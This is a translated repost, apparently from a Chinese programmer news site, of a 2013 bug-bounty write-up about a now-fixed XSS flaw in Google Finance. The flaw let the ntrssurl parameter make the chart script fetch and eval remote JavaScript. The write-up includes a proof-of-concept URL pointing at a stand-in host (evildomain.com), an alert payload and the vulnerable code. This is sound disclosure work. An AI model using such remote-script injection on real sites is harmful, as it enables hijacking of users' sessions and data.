我是如何在谷歌财经发现一个XSS漏洞,并且拿到了5千美元奖励_最新动态_新闻资讯_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
您所在的位置: 程序员俱乐部 > 新闻资讯 > 最新动态 > 我是如何在谷歌财经发现一个XSS漏洞,并且拿到了5千美元奖励

我是如何在谷歌财经发现一个XSS漏洞,并且拿到了5千美元奖励

 2013/8/7 11:08:29    程序员俱乐部  我要评论(0)
  • 摘要:英文原文:XSSinGoogleFinance译文链接我们在6月13日发了一篇资讯,说“Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元”。7月30日看到MicheleSpagnuolo发的博文称“他在GoogleFinance上发现并提交了一个XSS漏洞,谷歌安全团队确认并修复了该漏洞。Michele因此拿到了5K美元奖励。”以下是Michele博文的译文。这个问题出现在GoogleFinance中(google
  • 标签:一个 谷歌 发现 漏洞
class="topic_img" alt=""/>

  英文原文:XSS in Google Finance 译文链接

  我们在 6 月 13 日发了一篇资讯,说“Google 调整漏洞奖励计划,单个漏洞最高奖励7,500 美元”。7 月 30 日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

  这个问题出现在 Google Finance 中(google.com/finance)。它能欺骗 Javascript 的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过 eval ()方法将该文件内容转换成 Javascript 代码并执行。

  这个过程不需要用户交互,只要点击一下 URL 就可以了。

  复现步骤:

  1)点击该 URL(目前已修复):

  https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

  文件x.js 包含下列验证代码用来演示:

alert (document.domain);

  该文件必须通过 https 来托管。

  2)远程 Javascript 被执行。

  工作原理

  以下是 /finance/f/sfe-opt.js 中的两个代码片段,它们引起了这个安全问题。

c.push ("ntsp=");
c.push (b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii (a.S)], a.lj () || (c.push ("&ntrssurl="), 
c.push (escape (a.Cc || ""))); return c.join ("")

  在上面这段代码中,URL 参数,更确切的说是 ntrssurl 参数(用户 RSS 源的地址)被获取并进行了连接。

Xi.prototype.send = function (a, b, c, d) {
    a = a || null;
    d = d || "_" + (Yi++) .toString (36) + x () .toString (36);
    n._callbacks_ || (n._callbacks_ = {});
    var e = this.$s.Z ();
    if (a)
        for (var f in a) a.hasOwnProperty && !a.hasOwnProperty (f) || Fi (e, f, a[f]);
    b && (n._callbacks_[d] = Zi (d, b), Fi (e, this.Zs, "_callbacks_." + d));
    b = Wi (e.toString (), {
        timeout: this.We,
        Ns: !0
    });
    Si (b, null, $i(d, a, c), void 0);
    return {
        La: d,
        Du: b
    }
};

  第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

  它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数 Wi 对 URL 中的 ntrssurl 参数中的域名执行 xmlhttprequest 操作。

  然后,返回了一段简单的 Javascript 代码,并且通过 eval ()方法将其执行。

http://ww1.sinaimg.cn/large/63918611jw1e75zxehpi7j20oa0f4tbc.jpg
触发 XSS 漏洞的截图

  callback 请求截图

  有漏洞的代码片段

  这个安全隐患很快就被修复了,我因此得到了 5000 美元的奖励。

  非常感谢,Google 安全小组!

发表评论
用户名: 匿名